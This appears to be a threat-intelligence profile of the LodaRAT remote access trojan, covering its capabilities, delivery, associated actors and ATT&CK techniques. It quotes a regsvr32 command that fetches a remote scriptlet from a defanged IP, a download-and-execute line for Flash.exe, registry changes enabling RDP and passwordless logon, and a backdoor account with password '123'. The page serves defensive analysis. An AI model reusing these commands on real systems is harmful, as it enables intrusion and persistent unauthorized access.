LodaRAT
- Type
- RAT
- Capabilities
- Credential theftSession hijackingKeyloggingExfiltrationPersistenceLateral movementPost exploitationDefense evasionReconnaissance
- Delivery
- PhishingLanding pageLureCloakingUSB
- Platforms
- WindowsAndroid
LodaRAT, also known as Loda, is a commodity remote access trojan active since at least 2016. Its Windows implementation is written in AutoIt and supports remote command execution, information theft, surveillance, and persistent access. A related Android variant, Loda4Android, shares code characteristics, command-and-control protocol design, and infrastructure with the Windows family. Its development has been linked to the group tracked as Kasablanka, also spelled Kasablanca. Other operators, including TA558 and YoroTrooper, have independently deployed LodaRAT in cybercrime and espionage campaigns.
Windows variants steal browser passwords and cookies, recover Wi-Fi credentials, capture keystrokes, access clipboard contents, and collect screenshots, microphone audio, and webcam imagery. Operators can execute commands, manage files, and download and run additional payloads. Some builds enable Remote Desktop access, create user accounts, establish tunnels or reverse proxies, and propagate through SMB and removable USB devices. Persistence mechanisms include startup entries, shortcuts, scheduled tasks, and watchdog scripts that restart terminated malware. Defense-evasion behavior includes impersonating legitimate applications, attempting to disable Microsoft Defender, and disabling Windows Firewall. Capabilities vary between builds, and embedded version numbers are not reliable indicators of lineage.
Distribution includes phishing emails carrying malicious documents or compressed archives, personalized fraudulent portals, and other themed lure websites. Document-based infection chains have exploited Microsoft Office vulnerabilities, including CVE-2017-0199 and CVE-2017-11882. Other campaigns require victims to execute archived binaries, scripts, or shortcuts. Targeting has ranged from Bangladesh-based banks and carrier-grade VoIP software vendors to government and energy organizations in the Commonwealth of Independent States, alongside broader global business campaigns.
Loda4Android supports location tracking, photographs, screenshots, ambient audio recording, and theft of stored SMS messages, contacts, and call logs. It can send SMS messages, place calls, launch applications, execute commands or scripts, and present a built-in Facebook phishing interface.
Associated vulnerabilities
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
4 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The Windows-based samples identified during this investigation are updated versions of LodaRAT. While mostly remaining the same as previously discovered versions, new commands have been added that extend its capabilities and utilize a slightly different infection chain.
Once an attack succeeds, TA558 deploys multiple types of malware on victim machines — including AsyncRAT, LodaRAT, RevengeRAT, XWorm, and AgentTesla — for remote computer control and information theft.
LodaRAT, or Loda, is information gathering malware. It has the ability to take screenshots of infected machines, record keystrokes and sound and allows its operators to send commands to the machine.
YoroTrooper has relied heavily on the use of primarily two commodity malware families, AveMaria/Warzone RAT and LodaRAT, especially in October and November 2022.
Techniques & procedures
29 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
3 techniques
Initial Access
Loda is now being distributed via a malicious RAR archive attached to phishing emails.
TA558 attacks almost always begin with a carefully crafted phishing email... Malicious files typically take the form of compressed archives or spreadsheet documents.
It is unknown how people end up on this website: whether it relies on natural traffic, or whether the campaign urges specific targets to visit it, but the context of the campaign and the apparent lack of public links to it make the latter more likely.
Execution
7 techniques
Execution
LodaRAT ... allows its operators to send commands to the machine.
In one version, a hex-encoded PowerShell keylogger script has been added... If the command "MgPlugUp" is received from C2, the script is written to a file called "tmpwstz21.ps1" and executed.
A VB script has also been added that searches for the Loda AutoIt script by process name to ensure only one instance is running.
The malicious SCT file is essentially an XML file that contains JavaScript that downloads and executes the Loda binary.
In previous campaigns, the infection chain started with a malicious Microsoft Word document that downloaded a second document which then exploited CVE-2017-11882.
Execution relies solely on the target user double-clicking on the binary and running it, rather than triggering an exploit to start an infection chain that is more or less automated.
Once you have submitted the form, you are urged to download a copy of the application ... The application turns out to be a zip file protected with this password and inside is a variant of LodaRAT.
Persistence
3 techniques
Persistence
Set the registry entry "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections" to "0"... Enable logging in via network without a password by setting the registry entry "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" to "0"
Add a user called "-Guest" with a password of "123"
First, Loda detects the OS version by using the AutoIt macro "@OSVERSION" and copies itself to either the Temp or startup directories depending on the version of Windows.
Privilege Escalation
1 technique
Privilege Escalation
First, Loda detects the OS version by using the AutoIt macro "@OSVERSION" and copies itself to either the Temp or startup directories depending on the version of Windows.
Stealth
3 techniques
Stealth
The RAR attachments have the file extension ".rev"... However, the files attached to these emails were standard RAR files with the extension name changed.
As shown above, the payload runs the following command: regsvr32 /s /u /n /i:hxxp://107[.]172[.]30[.]213/5[.]sct scrobj.dll This is a known technique for bypassing AppLocker in Windows by abusing the regsvr32 command.
Without this functionality, the threat actor realized they were looking at a sandbox purely from the appearance of the screenshot.
Defense Impairment
2 techniques
Defense Impairment
Set the registry entry "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections" to "0"... Enable logging in via network without a password by setting the registry entry "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" to "0"
Turn off the Windows firewall
Credential Access
2 techniques
Credential Access
In one version, a hex-encoded PowerShell keylogger script has been added... The logs are output into the temp directory as a text file named with the current date.
This newest version focuses on what Loda was originally intended for: stealing passwords and cookies from browsers.
Discovery
2 techniques
Discovery
First, Loda detects the OS version by using the AutoIt macro "@OSVERSION" and copies itself to either the Temp or startup directories depending on the version of Windows.
Without this functionality, the threat actor realized they were looking at a sandbox purely from the appearance of the screenshot.
Lateral Movement
1 technique
Lateral Movement
The most notable of these commands gives the threat actor remote access to the target machine via RDP.
Collection
4 techniques
Collection
In one version, a hex-encoded PowerShell keylogger script has been added... The logs are output into the temp directory as a text file named with the current date.
LodaRAT ... has the ability to take screenshots of infected machines, record keystrokes and sound ...
LodaRAT ... has the ability to take screenshots of infected machines, record keystrokes and sound ...
The application turns out to be a zip file protected with this password and inside is a variant of LodaRAT ... Upon entering a valid IMEI number ... the user is served a zip file.
Command and Control
4 techniques
Command and Control
For both versions, C2 communication has shifted to abusing legitimate services. Ngrok.io and portmap.io were both observed to be used during analysis.
For both versions, C2 communication has shifted to abusing legitimate services. Ngrok.io and portmap.io were both observed to be used during analysis.
The line "Object.Open("GET", "hxxp://107[.]172[.]30[.]213/Flash.exe", false);" initiates the download of the Loda binary then executes it.
TA558 deploys multiple types of malware on victim machines — including AsyncRAT, LodaRAT, RevengeRAT, XWorm, and AgentTesla — for remote computer control and information theft.
Exfiltration
1 technique
Exfiltration
The common SMS, call log and contact exfiltration functionalities are also present.
Observables
108 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
14 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.